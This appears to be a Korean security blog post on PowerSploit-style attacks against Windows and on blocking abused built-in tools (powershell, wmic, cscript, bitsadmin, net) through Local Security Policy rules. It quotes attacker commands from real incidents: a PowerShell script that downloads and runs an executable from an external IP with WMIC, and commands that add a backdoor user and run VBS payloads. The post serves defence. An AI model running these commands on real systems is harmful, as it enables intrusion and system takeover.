윈도우 플랫폼 기반 서비스에서 최근 유행하는 Powershell 코드를 악용하는 Powersploit 공격이 종종 발생되고 있습니다. 보안 관제 관점에서도 최근 몇년사이 급격하게 동일한 형태의 공격이 자주 모니터링 되고 있습니다.
실제 위와 같은 형태의 공격으로 피해를 입은 사례가 자주 발생되고 있습니다. powersploit 공격의 주요 특징은 windows OS 내부 명령어 Powershell.exe를 악용합니다. 파워쉘 실행 권한을 탈취하게되면 파워쉘 명령어를 사용하여 관리자 권한이 있다면 시스템을 장악하게 되는것입니다.
이번 포스팅에서는 powershell 코드나 감염 초기 단계에서 해커가 자주 사용하는 윈도우 명령어를 사전에 실행하지 못하도록 하는 방법에 대해서 알아보겠습니다.
powersploit code example 1
공격자가 실제 사용한 파워쉘 코드 일부입니다. 최초 침투 경로는 본 포스팅에서 밝힐수 없음을 양해 바랍니다. 하기 사례는 보안 취약점을 이용하여 원격에서 xx접속후 원격에서 파워쉘 코드를 실행하는 형태입니다.
“echo $client = New-Object System.Net.WebClient > %TEMP%\exploit.ps1 &
echo $client.DownloadFile(“http://1x.x.11.158/Exploit.exe”,”%TEMP %\HxxxxL.exe”) >> %TEMP%\exploit.ps1 &
powershell -ExecutionPolicy Bypass %temp%\exploit.ps1 & WMIC process call create “%TEMP%\HxxxxL.exe””‘”
파워쉘 코드의 주요 기능을 살펴보면 하기와 같습니다.
- Windows 관리자 권한 획득 & cmd 권한 획득
- powershell 을 이용하여 외부 C&C 서버로 부터 악성코드 다운로드
- wmic 윈도우 명령어를 이용하여 외부로 부터 다운로드 받은 악성코드 프로세스 실행
- 주로 Living-off-the-land 기법 사용 (OS 내부에 설치되어 있는 정상적인 프로그램 사용)
powersploit code example 2
‘c:\Users\Public\Libraries\EXPLOIT.exe -l 4337 -p c:\windows\system32\net1.exe -a ” user bbb AXX!@#1234 /add” -t *’
‘echo del /f /s /q C:\ProgramData\*.vbs >>C:\ProgramData\11.bat’,
‘C:\ProgramData\11.bat’,
‘cscript C:\Windows\Temp\xxxz1e.vbs’,
‘cscript C:\Windows\Temp\xxxz2e.vbs’,
- Windows OS 관리자 권한 획득 (cmd 사용가능)
- 접속한 OS내 불법으로 OS 계정 생성 및 암호 변경
- .bat 형태의 악성 배치 파일 실행
- cscript 명령어 사용 악성코드 .vbs 파일 실행
위와 같은 형태의 동일한 공격 패턴을 사전에 예방하기 위해서는 다양한 방법이 있겠지만 윈도우 OS 자체 기능을 이용한 사전 예방 방법을 알아보겠습니다. 요약하자면, 윈도우 OS내 “로컬보안정책” 설정으로 공격에 자주 사용되는 명령어를 사전에 실행할수 없도록 조치하는 것입니다.
실행 -> secpol.msc -> 소프트웨어 제한 정책 -> 추가규칙 -> 새 해시규칙만들기 -> 찾아보기(예:실행방지할 xx.exe) -> 적용 -> 확인
실제 “로컬보안정책”에서 적용한 프로그램 리스트는 아래와 같습니다.
- powershell.exe 경로가 두곳
- wmic.exe 악성 코드 프로세스 실행 방지하기 위함
- cscript.exe .vbs 배치 파일등 실행 방지 목적
- bitsadmin.exe 외부에서 파일 다운로드 방지 목적
- net.exe (OS 계정 생성이나 계정 관련 컨트롤 방지 목적)
이와 같이 적용후 차단한 명령어를 실행해보면 실행이 불가한 것을 확인할수 있습니다. “시스템 관리자가 이앱을 차단했습니다” 등의 메세지가 나오게 되며 명령어를 실행할수 없습니다.
이와같이 윈도우 OS내에 기본 내장되어 있는 방법(로컬보안정책)으로 간단하게 공격자의 패턴을 차단할수 있습니다. 공격자들은 어떤 경로로 시스템에 침투후 OS 자체 명령어를 자주 사용합니다. 이와 비슷한 방법으로는 applocker를 이용하여 방지하는 방법도 있으니 참고 바랍니다.